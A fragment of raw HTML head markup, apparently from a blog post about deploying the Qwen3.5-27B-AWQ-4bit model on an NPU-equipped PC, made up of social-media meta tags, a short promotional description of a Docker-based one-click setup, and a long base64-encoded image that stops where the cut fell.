Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.\" \/>\n\t\t<meta property=\"og:description\" content=\"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png\" \/>\n\t\t<meta property=\"og:image:width\" content=\"112\" \/>\n\t\t<meta property=\"og:image:height\" content=\"112\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2026-07-10T16:52:33+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-07-10T16:52:33+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/fabrizio.gb\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.\" \/>\n\t\t<meta name=\"twitter:description\" content=\"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#blogposting\",\"name\":\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\\u00eda Bacigalupo LLM. Mgtr.\",\"headline\":\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners\",\"author\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/author\\\/fabrizio\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"image\\\/webp;base64,UklGRgJJAABXRUJQVlA4IPZIAAAwKgGdASr4AU0BPjEYikOiIaEjJjFKaGAGCUhvXnBovU+oa5zMY4kuxzofEj\\\/5fXPxn7u\\\/Y\\\/mz\\\/gf2w+cfjnt89v\\\/g\\\/2D+X33O\\\/1v9j4hfEf7bzU+iP+T\\\/ifya+XX+8\\\/9X+q91H54\\\/2397\\\/fn6Bf1a\\\/2\\\/+N\\\/Ib6K\\\/7\\\/9kve7\\\/fv+X\\\/1f2v+BX9B\\\/vf\\\/h\\\/zP7\\\/\\\/Nr\\\/0vWN\\\/lvUD\\\/s39m\\\/8\\\/ru+yH6BP7Yf\\\/\\\/2f\\\/+v+3\\\/wuf1P\\\/iftj8DH8y\\\/zn\\\/v\\\/1\\\/7\\\/\\\/IB\\\/\\\/\\\/bA\\\/gH\\\/n6q\\\/kj6bfMf8T+Q\\\/R7+xfxlYz\\\/mfBb+V\\\/eD8j\\\/huO\\\/gF\\\/if81\\\/wH9v\\\/YT+8+Bn6tM2fqO+9n1z\\\/A\\\/4X92\\\/718W34\\\/\\\/V9U\\\/ED\\\/Wz\\\/c8oZ6h7Av9I\\\/w\\\/\\\/A\\\/wHsZ\\\/8P+R\\\/1H7y++b6v\\\/7P+s+BX+X\\\/1f\\\/af4T2vfaF+6PtNk7dvZqwesoOX3qrFDu71iExc\\\/SvQeAr+hDNi31ceV11ItBPGlr25fvZgcxvGE4aau0MBoJq8y8cY5QbBHv6RU6EOEkRznXSDw9LzsEiZXuB7cZEpkyHsy0Mc6gzF3jk6M49eohAngQFfwKTfdmOz8pRzKXsUUwpbiWKP5OBMAi1YRPNx3\\\/h35M+NoAgQty8PrAuJH6f9XvxxX\\\/n3nGQn3aaNv2KB\\\/3xWmwz+3g\\\/B6MQWZky3lU+BETr7zqB5YqszPxVpubs8fhWCBikt\\\/5ySs8cSRcOvzLexry3m7y6Tzg9KScFqRhHQMiVjPEIdOU+Y5C8rwZaYmYtHtaokkyQgljKu2PY9\\\/metXjsqxY0\\\/JKAc4I\\\/Kjy1XB1M5raPTLyd8SzCX7G3tbl4xXFAvwJTDN++y1kjbTlHgVozNZ4Tc2v\\\/V60Kdz1GTdbeJM2WDIuiPpj\\\/zWOc6gfOxm9dC1ni1zkM1Iy\\\/6lth2w4XN856W8zqK1TdE7DhIqVsTMCPNNB0VYoyogEIejdDGk+X2dS7qalQus4e6RDaoLZYkvG6YVTojoAxt8H89I6ZlHvoji\\\/v21akbX2t5Hcz8t1zVcHYSosqcjf5B8VXDjyDWWYfNPHtnsMOiG1q637Ia1skMkBsdDxETwOKgEkChEGCsk5FX3QExEFneQO9a0HgoYBMvxE2E0LxNQG4fOe6kQKM\\\/cbKqVvhrAngaSAHMTW2G8+NaRjmQQtcbNuAE4eAOMVhGMZfULCXcgj\\\/Q+NzcCbinNoC64Vo2ODLr4cP6KrlJNOPEFmzI0gkyw2UvrZFycVYbt0v1wx58k3efefLIN872WEBLz3RZmDVGK2qL3AvB1\\\/rIHs+VUIlJkuh\\\/zPYJcK+uHX2eRYlvTuLCela\\\/qmPrGqDr0afvCE8h67HGrCz\\\/kKLBLJG2Wm8+yHLGdljeZA5dFuRaC6BlotS6ldz\\\/vdc2wpsfrlLlLXLFYEACF9zxWAvsREBQZH\\\/uDB7ycH9CQ6itqGxCrJix1htTcnQAFvBwgaHdQUl3gtOCuG3sUlywgqRKwgplZ45VVpOgoEkdAapcOQCo9rMwLcpf0sGL2RzNPA076xSWMKXMPSF0y\\\/nqhBAix\\\/6UXkm6bNqaBhdZG7SEdEusPQEPusJ6S1w8TwgNxnNNKrUEbm8uQtbfLD6+dSYIxsslm9fF46RLfytL0RVfs7vRyju8Buc546Tfx+pKVjLwSE1snbkeO0FUrJCusZr1uGI0pcQYBjRuP7VVAeclXyblGt+oQVdlTHZfvHF5JBX8gZslP2TdmNoN1PLNTNXWrXWFVotF4i76OfaVLIb0w+nCfnjQVMDXR+7n+eHUq+m2cdERPvIor2j0uvyr0lqw245JWbWKNea5E+ubCkTrl6HNhqgaSE7oyFeo\\\/hOQWE2QLbIDP9RxUo5lYFcuyoEPezGjaMbQqdh376Wo8FjwKEzkNiUeMCU8qf6mX0PZ0JsvNrqZ5Dg432XggqX+HmSkOsDStThKbizxhrDqZRu1hJf6KDwIN6CMHilEYF\\\/8i6AyU6gE+IMmk2H\\\/VirxByUegPQcGXN8m\\\/dH6jO7QfrRv1JtCRsWQe4aKf6isiYbBiKsJVmIOaZMuoKqhvy+EWD5w5WDbLAsiXDxVaJdgRppdqTPvvP87ARXZrg9TIbA0AdnCSsbmugtsRf+8\\\/kvac\\\/0TTrq5sDruEk\\\/GpQ18CDf+n2PpGAhqXLbQh\\\/nCySc0oF+TfwuuukpFIJwItoLM5fiPi+tjg+1ym2HR2+SnYWlnV9apP5w\\\/nUgpvicoevsBXZQ\\\/1bNGz4FONF5eLrKYnHJqAXd7fz0Z3\\\/1SLhIWUSVcZ9K97opIqwjnZvO8qA6fYjgp5rmybISous06jQ5H1ExD1Y9vRP4ZoZ4SRmtAGBQ7cq132pnnXKPmLiPIyjURXQsFAecUa2berA+XyHgYa1CpulHbPVjTIxn1YC7YowONRT8ETKBwSQeo1kmwI6YBIezN+1VsXBHgtcWR3YDcEMvA\\\/DQVk9VBQWB\\\/ZVKYTPvCQf1FUHdGA5HHec2\\\/\\\/bPe3m3CwMZDQ5LqdqRfDKnQ89wFHhk0EBEGG8RSwJaSOgRVXc53c0U\\\/DVCziCI9w37zIIBdyVAhxmN\\\/31Ig0KB30W0gGBAwk3fXN+sk+foShbcjfFGISz+LyRvJOgsfbvOntqZQ5oGSGcH77\\\/4SmwOIDVCR4XpNYSR6FpNdBGJZdBOSrZP\\\/CybX6W5HcGi3\\\/lOD8SrD\\\/HXFu8coOv+u9WFIyfIISZHCfZPcu9sl1E7UKGOeD9bjUkPlqhu+SJpwoYJELi4F5q9SwvkN8vNxkMDY+2p4kPREhGEoQ8vGLM4y6mGl1OBbMUz\\\/Jbp05MMltTmVvgpus2\\\/hP90REKaZOlSbhWxBXr5hUYJLTjjGxEXp8iL43ei1CABSz3hpX68bD7VcX5\\\/zeeLg8PVAS6q+HbjIHIxM\\\/KXFnc563mtwHe28DZVzZ1W6gRTOOS2SVzuu2nbItr0gmz\\\/xkUcaCsUNfva\\\/ZOJGvwG4My4B1guRpe+aufPPf9z65T\\\/s1gd\\\/LY38vHbvPfQefXJ1y2qcWD4hFcnuGwIQ\\\/3gYOK5u1S+yFIg3Xz9bTdnOHET+1a7PcsbskhqQl8UGLpqM8E9AIjt9bv\\\/AZOJgk5gi9ZZ8nKTjRLY0za0xclBygqcIFC5iPlya\\\/5IU+m6Zdk7orfpXKLT6CS6q2wfXSWB63SQoCn5aGlG6NBgj0+FwutrIJJgBbuCcfxwLHWGaOkGAA\\\/v9qZqEg9Xs32YMzQayhNqUh\\\/8Qiqm2v6Dwf9\\\/xnmtDXmqbGgEEXlLyr89Xeh+2rtDisVnkGN61yLM5cm6RMdIDgdAJZd1xMclGGYrGsz9bRVM0juukyxAmtrVN9yAk+38rt2eL0lSuth3TIiGVyeYrK700QfQcSuRtmY8c9u5\\\/QI9m7n4ZngMEl0HZzlICMcL6WMZlxo2U8TKpgyByw+c5iMus9hIzGXXAKAGckXY\\\/yRZSMzwB34nB8d4S6t+3fzY5+M7BwDs3csOALPKOS1BmjA5FPpR3hlW6OXKI9Er26b7byAWgp6d\\\/C2OXVn7UhP6m2e\\\/tFjWbCDNN4UVQLjH5c+xJj1fOzXENG6sG2iRBo3Z68yA7pgdBueFTA789bB5WCr5oidPB0n6o5ebA0yry7e4DGEgQKOTbAhPFj1WnpcqeHAIqjIXCZUg5uSTBqXlNEZVdYqGoAq+YgTcq8+\\\/Fn39aDhpzQattLmoRV7pds7\\\/5TQA2DzsMySzjHi4h\\\/yqpVcu3dunUhXzNUMocdkmE07u5JU8B92WPp2NWLFwd8FX5qr0gi4boNh\\\/XaR4FY7JVwA72w0+p8RHWQl43DEcL\\\/N1dQTEcZ\\\/sR1WGjVbijtUcmexgCPqeZAbuXHarjyuWh6mmhjLRhWwz\\\/Z5Ms3FTzDKlW+8+bfXh7wiu6uivgAK2Xs\\\/GFzaFUKKTxbkoUck2vBzUXrXv17\\\/kaI\\\/30rZLeJoHecxGXnmo2qcR4BwjTCjc64J5QjvzDdhugVok4x1R9Gly+CI1mWi\\\/5BpptPYV4w5xeo4UQyyX5HTSFojsyI9PhaJHJAmJ4eDJOJUwAZkEuXw+vXD3mbGvCUks8KTxHjBEtpSplZlk6BvdHUq7OXVoHp0KhotZXECqwF34i3OcJ1AkwuY5iIKTGnBRnlvj6FvmsVtaY2MRTEdYp0\\\/Dr0zLzNJAESvH3JQiD\\\/vTaQvpqNRV0\\\/b7hjDGSc911jN9Hs3sdXo36izn4y3j\\\/wwj5y5E3tv1e2EJjUzfkkvkyo8gi+J6ltkAxq2J\\\/sI+4bGpUnKFXZ2PJoFZ3KJs0mVhsnxVRnD2xmNBe0ziPZTq1uycop2v8\\\/BtROUfFMxs+NKJ\\\/LHr16lvl5iUOelcf6m5t\\\/XXPxW6FWFbandCuxmDMOZB+itNCVFpDGiCu11uVGOFmIOTy+YItOYDAx8DOdl4W3QXBk4C0I\\\/sp1flxWAo4XgWrDfA\\\/fPORY3mzcPd9KdIh+QTaM1jaG7JVvLkQCngdxBpV\\\/sfKA8qEo7JY8UzKgYfZn\\\/osLqQkC8VSxmxK1nPSpEY6GfRjrBE8jN3pHQOhf4C6BJxz2+fAHtQ1e83r5YTxyfGACZRmvlo6g4CqcT01pRw4+Vw1690lLlpRp1H\\\/v+SMays4eowQ\\\/bovgieUBNMWeCNoTanj\\\/F2vUneWyXfmI18UU0drEfFjPVebnzv1Wm8KXIykRoY1sUVa0P2hNR4pRAeei88jAbGEM\\\/57Sn9Mi48GrKg9ZRFtHZlZ8OjbvrdeqIZUfqSIkPS3FsWBRhBYQHhrZ7ibHbg2aKLP3\\\/ZlaM2rqc4LXzLXgBVRrv8U9HTVW8LSxTNG6PVT1le+nJB2xkHzMwecglvL7kURdpwv0T0I9tOLgo684tTBPVNDcGZqD5E8+AUcUZaxbRB32LMwVoYWjz33yPZa9bCnj+RO3wNsvIt8zoFUpPLAxeGhj2\\\/0c2eYn1jGA8HwO\\\/vOPemjvEBgquajMfx58B14KHIOoVzeVOZ\\\/eXIJUOk4TbyyfRaLIXQp4tyfZt8wuRJ7MMInl3ZybrC5+orfvUkgoIrAR3W\\\/zBK8oVB22UzsLTAjOWxlFWujNoQMpIZP7VHVCVUOagA7YKJ0e\\\/Xlm3tSyx5ZOb8uKjABw9zXfqSn4HBVp53o6tuFcbd1gPLiXUpFx8HhwtscfPc\\\/hleudz2DVf9hTVjFNuyxFmw7K5KXXV\\\/nHU7ugb5GRCiIy34YM+3dyarjJ1Dt1Der0UCvt2sh6Hl60KG0PGL0qbIB9etSHN\\\/iETEBIV72GPyFkl9CA2jmjYlWsrHJ3IyzWHFA8B\\\/3lfFP90asLxlq+uilVJ62t5KjITyjg9O97uN8Nssk6UPqVGuhSpaoUHFgDeIzQZqk+Nm4xrHpl5ZUA5OVyuDwZZT6bTh1hRj7YZvdJ900TX10CuwBKLLmN4OaRoyossC2byzpKLMqPoZvaxFTcgRJ3PL7cg1GOlF6uGeEJJR+uHPGjKppqP8JUo++H6kL3t9b0M+Rsr2Mk5BFOEheoYnEJ7D\\\/WZG\\\/SVWvyO8h3\\\/RNo1LK89vyUghZSNJTj5kDdYYndCyat\\\/DaG8ad3+JzN143GUtNXH9SaWMzBYYTOdxWIpsTAOeL+mBW1yIRDhBYp17bJS83isQ7SA5SueCtWg1IlY0Pxji4qG24e+iTBrzeucvxDtjNg\\\/BOdwsdDaPClQFUWdZeT3N7Xx7K415LlAOSn2Q\\\/20p5Ci7Lour5zvnU8gJiwW4+kR80bhWm9glmSfmprrMO6SJwKECW07rQFWUPEDWGDBExl8hJW844mI+3qT3skXwsHqAA\\\/FU7PJnF4d4tBIP1jYfdvFMPV80eq7JKB76RmQFoyIxMAhFyQ+f\\\/u66d4zMg\\\/WVecIZ5Lt5xL4MYYuI\\\/SzsKdIkJo048ze7gkaBob0y+o+37pvzyAXbJ5KyDUf6MmhvQXByzRjSYqiVR+IitDx\\\/BFou4CHDKl\\\/9IncPLG5akKDLvwt+MGktYygy\\\/i1A3JrZm8ZLL1uvv6OIBbaUSjkM94pesAtPBEls651OznkHMYxF1MCAB\\\/CPdbaBwwzOVi1Mb37HU12ceNTF4k+piuoLc0CBciLI\\\/lhQtcWGfUgxNWb9KSOjX779tpQ9QUefly9CAvdWHALTSLXPruhh6IHsR+6jxCVxLiXyODTvbU3\\\/bGgM7tr4V1GPCBrRZtT7Dx8B9cv7rabGIDnBi02drmPB9QZzdwmvOmEcXuXzQfXaYLsTYECPjuVZZEt1nHj5vAqTsh82xETEDcx42MAgs4N0oVNeBynqz\\\/7znQ4TrTGqv9bSSuzRvTvPB4c7V66hsgh7v+mF+nxHiD5haGLmIPcuiMBCxQEWrKSy1iUHCvYEGMRCPCMhP5Af+C3hz5U5N4ZKoJDe6AMCrteB9Iv2uf8uJmOfixdEJ00ZCPvRnR05JnOyGhhCbzbVZxqXbnSyC0eh1VqEQ69aTpl0wFCMXxOLmnS7e7NHSvKREtJKqGsn1+j3qHvNQOmJxzktWi+5xG6Nc96la93+TlDI\\\/ZfDjyZBkbvYr9zO4VdfHPSbxDzHMk8yPwXoqgBCcLBc4tuUnFI7PxVFO16eydx6AuLqVeG6BLxykfX5skjDksXuB+BDS9zj7oV2nuRDJNHm0Df\\\/MpmLq7Rix1J3MAHT3ep4LgmEPoZm8DNaok5cMaImjXyxIOBJbpII9FIEDYaaPBDSu0OyjRGS0jYpHgK9imnJvLLYlD925VRZ3niWZJkgkt4Q8VyZNyGNUfocVZ7SYpU\\\/7ig5aYI8MVMvbZ8aaabWLJeJ5asK0FTRK\\\/KTktRZJBnPbxGQCL+BfUjk\\\/0VPRh8ZYSdFLlpuUbIZmYAamkaZFoDMKkRzoGN\\\/czQQIeeuioTW8GD38UL9PRM8fuc8V\\\/Il3Ks7ZjPOoJWqsAl40r6RI37\\\/MpnMcV728PNC2Vn5A4viMLPC8yRLK4XJz+lbIxD8g8j7HC\\\/ufrGKbN6VYE8qlycBL2JsjTI71Wdy\\\/un5qpDzyPxGFtzGTBvIabEI79FQI+oa2wCYdV2zcswQSC63BCBrhjZysHjAzR8Pd8w+JRib1wtgwC5SCzVUB61as0UOyYM5uLVaCp57gLiIWWpgaoEjAUo3Yufq6EsqEPjR1q7J0Q6lYOGZJ10+hYD+7P4KsBbto4DxujoWLhadltvx0BKS1NNZJoJejfE8G8kTeTzUeCLDNfsqmJ4f96kXNKagZd2\\\/Y2D3vNM3MmfiEhwyG\\\/QaT+3cCXyiJoteRvlPctDS3YR7VQKYlO7flWdqQXIYqQ5M67WUWpT35p+Re15AKI3bSHpA94t6bcBPB+fVZXvbMVNtPcA2goS2B1LqXXDaqfxoZyq98GcpAx9HA9iLTS0DrGIMahNLqYiXCHRJ9FHi0SbvIKdMU6GNZI5Ci\\\/f5\\\/RGsDCFUf\\\/jRkekRVHBi11zrFQWeqfmWfFLtvbjb\\\/Lyc6xQlY9lg94FtdDd1pEE\\\/K4C3SA1QmMKVxOqj1C9O7VRh0oVpweD+2tG\\\/SeABIs7F7oNGvW68SDlcbuJby88t+cquQiGuvj1zvVuxnVDFmpB0BCRymkQdTL+xrXCpIczohcPQWQlCMAozyuzGa6TNY9n0rlEYTzuhRnaaE8e3\\\/saTK0yCDDj2xAEp\\\/txRntxD3R47CT7poRjTMzm+Y0M5pN3wzsYUJrJcm4DtgfTachKUFSWrYZ36anJMcBOsX+VGv7EGLG35YXSYBbluyYR2wrBevqt1awlT5My4n\\\/MQ5VU50XQWYb6DBsJk8kbWyc6woWC5k4fRI444m+TxNTPhyP8PUZ+9V0v60QX2qglY5dCoodYYYmp9nyoyJ3AWuTq\\\/QWvR4jPQoIlA4eJ1FEev7ipOApq72DiYDP2znDv0oHg9fGJWZz8Ig7scPHbRaCYQmDqOODzdWaKXNfgN+delHWmHXrHBS8HQxZ0DHuKo10N1Yw7+v1Y8UEBw8mM9L7xThlyHpLWHkHO+1ojxmsl+GcWk8wXuRgEes3rkAPRMDMeGVi3j62G3Ue8Mt1qvn+2ihNjciX43w63+7qH55Wxm1VYeT96petCxiDfYOiXlN3aWbKmtKCDQdeAus5Q2x8zrjrWOV9qL1fzZKGuULIVKJEaMmJsC+C+EBnDu2n3wmxoc3a6r82EPIJq5Nfo6muHcXoHFyxqQ0JL8TMToF\\\/DTegWXQSzus5hC4Ef57eR0DHNy+4yWs+XVuGJyWoU56FkQEBdE5y0fFmNo6\\\/qlSfBxne3aS7CjbvoT5IY15cJ61cfWF6or2pryUPSf6OzpXl+JYfws0qXIXNNaeCelqgv6Od6uOU0sf8F+Y9Q1A4gmdNG0\\\/xz3JLIhNgFiYcXASVPqCFujp3Vmzs1VyOweSVYsBKVJraRmgooVGlpHAroRFNoK93zB7xL3fB11O16G9JrbVEZd5mj02jYQWyuI26xRasPG3XizGpZhGf2X64eq9cN\\\/47EWUHIYaegwbW6AnVQeXQ1YQSmxI4vePHQu\\\/JPu6be9d1z9eMhYW\\\/EWZz4hMfeQlLsOAt3SOyF5RiKTp9Vv2WfodYhC+dyuOZDHj32zNd26SebEXneHOzqBVNbyRwAqtil7j8F1hrgyIdJWPqIhaerNLMbeMZzJ9kb7dXAkwCvKP8ZREWZuz8y12vzBCZBHSmTf0zyRgi8+UVQdZ91KkM+wXykKWcAdfVbeotocVyUb2xkxOIouvTBkH73ltaWmU4txARTYc0E78BmuBxy1GcZhEbuhAA5\\\/JjuqMYnp5bNtnuO67GEGBjwz\\\/4nLLY915fBgxdh4XAaZsA93fdhj2AB4KfzWIplvcPxn9PZIhl+aLISo03fCTuJafg55dFLnYkThCygjD4tmoGlMjtFsGXOHLAQnJYsE7FYI2aHW7oneojSt68ID99pOjtQZSU3I2uHJh9LErDLdEO5qZgsg\\\/hexRRAUWnFSYB7gA2X9f9\\\/fy5YOjrgwTm3+ZJQSM1BPpUIbkuNUAoeVsIq2OuORtiEq085rZUR2QZyJfZ9NlA9hG6fffOum6KyV+R9JjjyhK2bq2MP4S7EAKuYtNisEMoEsNqjVA0MbN0DvNqcx2KIEZYJvmHO0PadWMEgBgQYg2HONqIX4vg\\\/9rwB7x+3pcXTH+Rz94nDnAZpF\\\/L+iyDyJaz87Q3c33HpFItFI0YOv7F7t9YLAOoXeO7xvgAfG\\\/8YJ5\\\/v5VoAx5ag0lY1fsPaZWrCApkC3NBitRrS5GmFyf8+ihtHW\\\/X0R5KJ+ul98HALgW+1PU2Az3JAID02tknTNQ8b2udhaPnJCnbKTt\\\/JnplZDHU6RrjVUy2Dhm541u8k3N4J2gIRKHQ4II+RQOhPZ7q6d0DgDa7BZ7hIqfcTRy\\\/4hNVLCuxEsz+T5bW5GvnjJi0QR28N5yPwdhoK+cwebVbRNqQI8xYaoOxCEEsO+lo9v7XcsjWXMsH86dWmXYa5KbfVD6LP7I3xRR0v6ZGk+32VKcdx1Z1S7ZN+e\\\/S2sTtxfw1kdegA4Qy\\\/Df1PbQ7ptjnOgE\\\/E0d78rQ7WN3c72ZWq+RKV5OGohQF\\\/4sRfQRbzIdq4x2AZr1+TTMWYX3aNManx4tsLzaI3tYp6qrCBE9OaYi4gWXYfpKNfmtK+5qZrfu2qyIYcmYXVy92QHf\\\/76YncRsByEFd7ChnT3o5Iy0ZlRPD8mSb4LvhnRDT9azsoSggs7dj7OEF1xBTCrD1lGgyu9pe1egeIjZzaVCB70naxCIZffm50WDRtl\\\/XKL49JiL+P5wYzWt8i8OO0RAloO7AxQO6ot90NwMSfFU9b10ub8BUojqkJ7epMAzY26Up8q5MA9aaBWA5Y0RZkf6V+nH0yLmbF+qIqCLdUbx4YSC86oOK4eKOuHuE36q5dsusqf2JGFKJU7WHPfnr0SLUklYMPBJGt1hUWaQceCrU4D5RZVi7SYiCxzXQE\\\/tuAvxzsLURVTkgANzyPXitvXm0dnWbVNDLRbrpC9cWKYGinXdNhPeDUH3xLf7zDqcpAlXX2V3AAr2As6wMJtJuGGSi7da50G6l9IOU3eGMWOH\\\/MoqyWy+Jp5Eo0D0JORRDd0rIvXXMYHulNPFXqCaXkNnYK3tNf+L6bjkAsZX0hQYIOjOlTPJB4drh5q6AEo5cnEaXoqzLBb+n4G23lj+AoTMAzEMgAgIfppsksfPW\\\/OaD9kEpW8afOu4W\\\/Nr2jdqKmRodiccAXQyXn9g8bEtsCsFEHaQyVqrCRzgYpExdwnWtXAy1g5YmMcuByIHXVjbcrirXjkL+8zARF1eeyGYuCkBsCYxeyM7uvLJfqalVSEV6Rw7bXgJtR6VmB3Y+eAayRBQU03ubo629xu3u1QFAaFZOq9cOjCC0j8GuR8gC3wrFhXEb7x4wBF0nLD89XAkLFpRpCqgbMkEBFEzlxtq7CFl5vK0itAdhYeHMlSMU9WCOqZRZuun7jbTfMk5\\\/EAp7sHARSbC2ip2yOHPfP+KCDvE\\\/eoKTyGunOIWIoBaMvI7wr6u1IKdOqVK1qa4bf7tALgtDJH1jZVvWKHlW0n05wtJDF0rIlnoHY3b06RNggLQ7XqbcN3u7XBe4IiZm1UcNjVlUrdTGVDmVVlP+LVTBpbPYYQJYWubfHQwkjoM0oBNREZhzHSTLw3ZXf5M7NB5siw8g5HMBCW7sMr6MlUIBJ0UnCSHYBnF6xZq3\\\/RZW9cVtoRsQEpIea\\\/KhV1AIxcSEW\\\/fnuK0wdLJNi9is8vlPTrj3Seg5JLhvLfyPUYrLTNFIRWKnpiabL7f7yNJQhAW4rsYzIIiDW6akOUtnAtJPFGG7pUDfd7A\\\/VI2PKM5Tr8k9WKD2HHvw\\\/VhkR5M1SPJEyPcYNPN2vgUrv+K4AckYksUOWKGtUzAOgwR19NSqzdadvRw+k3X9MFLqcWWPBek5R2yxSthNGX2BPOLT4WTaIVB\\\/5XFsOfJMTX9ywfh23+YznWnVuBk6xjMuVbo7Q1Zk8mJWrMdp+fbKPc1NlFjsvgq08+Q+eUCjTdPdS+pJTwggphNpdVSJKqqWRCExIVtU70NqHXQSHu\\\/ywc7T1gsceHjgwHFrwuXlvg3Fs9XmOStqpErdOkSXZ868VOet\\\/cW3hfFTUYA0Ai2askNuOxxIBgvR7rR7crvEMei\\\/dESSulkyUtMIvRwTIf4QnEHjGOhCHIwEBACHLGb6uX5ZDkBWky2uW5mzHoAuAZGd72QgLY+21WvKUTTcFAuI\\\/HlBv2nBC22r8ewbS2cP06\\\/G5wUWqtg0TvK5iraXyaswStKnfmy+Fz3qkyFCUi5sbsEbTI78FYAYfDLNJNYEg9I9yyg1KPL2XQ3BBtd\\\/yrJngmTGauL4nQtSLucPx9C37jAC9i9\\\/v0r+VxF1CDQIdc+52Si6rx\\\/QvwCl02VS0Ue7dCGGaykp2FDH0IJW9lT0rNxS3P0STlpi8EOaR4SID9SafbMdUT4ixhg0B22jSttYPL0454ry8oKDeIO948MOJ7WaQVjoKpyYdmT4d8mnSp8ZyxHbDdYBXWjkphpfxvsOLkudQzdZH86Lo6tTnqjZZLvxNPsVMz4rVfVlADYwY5bQWBJlgxERp1E5uAYgfUZLCU2PJXmFtr4oJYoavwSC\\\/8ynPb6Z0k+0iPzjWrZm1\\\/MgaOrzWIQlfRaXYI2O23BEdyBZL3nMfDeAWZy+zRVOJKOXbefOqXXRzR9DI3rNunDsysrTUYbdSjDkJTCPHwJuyPp1Ufm5JiGSO8u2IlPH0EpCOSYQUct+87uIo5GftZ8sZlzFtJe6U1g11AR24yY4Syju3q8e\\\/9x+yXTabBFvCYOMHpOA+BUyMUAW2MZ1CvOmapuCxfZa6gTX8yOStqlZYlZ+tb8OF\\\/fIPMeJoh7k4uKeYxNvSxeE0\\\/I97lfMGDHYh0IFyj7yl6U2brUig+5dC2eefEvUcFsQoHaWDe9BcI+Gz9d11\\\/YR1SmVQIDe9UMwWfKcqGcIWYGQXba7YNHW\\\/bjL6dqDYtvjzq1pNEjErLkvnxV\\\/u7RB8GWjz3VADhAESR4AYNEQuY9xubXDe6ILqhlaMpGmVcd8qIUgkXYmG+VGHc639voEdUKpOSJ\\\/ZoEKTf0FYY7pLdy90TRfOskSliUry8fryhPVLlZ0HajtASPhVTkYKOzgLYln3dMDeMupZB\\\/BJ\\\/u+hICCAmAVeFPMMoX\\\/2pGpvQ6xcOXdNveGxVCBAwYn7HafS1msE4QPeXks4Wx56gtsz0kjtgaOL28wnhHt+dZVmwTa7sDETyuVi9IrPrRasF7DtcNPiMaKHsq7pUWL4o400+3ETJ2qnG62\\\/gPMfVDQ4uT9\\\/Gy02GRErkcikel\\\/9GzP3TBPM6XlMOU0RTOoYctcDWgutKadiLAxxCztUYNpxTsq9g9dtJDVtsGJf6VZ849IO9bTAVJ\\\/dZmMf+WTaC9EPyybq5TNg0Ihj0Y16JCx3BmZR8SRYY+Hq0z2AHO+FnsejU5OOfc0db8hlPcSEsxvG+vP8yijcEDRcZzmYeMLvB7XUhQ4OClL9\\\/UBr0m3YRl9Fbo9wEfgJjKDYDDL5nD+uxQ3Z7iz7OwrQcc91eUqvYd2SHlVo5a9sJ3UXSTbQI3qCeTyS+qPRmK\\\/F9WoqvBqc3HdKhnZaQHM3VKc+o+rYYZTgzS4TpXvx4EfuTA5kliuLPPv9qTINwzAxlYxpS8pBPkXKWpq9AGEJsrU6lXhzl41PcindQ09LSVC9dAG8voEzlisqra9+JWlIhgQ6Iai1BqK6iDOcrQHtmvCHnCYj6sx\\\/ID9GMgNfzGayG9GRI2fXuRj8ndgAzwHpZ9OYWao9TG5T43gDsb21GduRqrJm54HFpmQyDTaWM35VTXYmzcvPmjK10tTC2HjEdh4EBbLjf6551TVlff9TN4MW0qtDOjb0Bh6J9bdNhIkkqUQL0Dtk+4F4qMdmigDPQkj9zH0P3dcyaoHOAljt7ulgVrS7ialoJjC7awyRsiLpXB67SzuUS4FKOLP4kPn3aHR2uc0yFUsZMP3rxt982GYuewJYTgpdoAQ8XlQYqF2Js0s+OI\\\/AgO\\\/9eQfT7rdrDHhsZCMdGtmIP6c2ZVWdx9lPSIGpM1zbBebkWUUquX8GaH8THG6+BxB4GU1xJNZBQuss35CVhl5cTCEOlvaZLUm1g3jLX6Zt7Xz0ecexi89i1031SwoyWWswTyucw+cuK2h9dv68gzNEtC9Tkc3uFpW9UY\\\/46e9d17dA5FRYV8v29KpyDEl9gKVWcc1tlcDHstHaOzuIKPIpLxcHn8JFILz6RWniM+Q6lx+Te34WH+k\\\/bARm11BqcOJh6ixDDCERrLcYoVAtHunX6zA4cPro6YGuBXTEcKylDxerUZa3m9yx2lkiBewdmxWW9ixBVwKynYqiCpeLOlA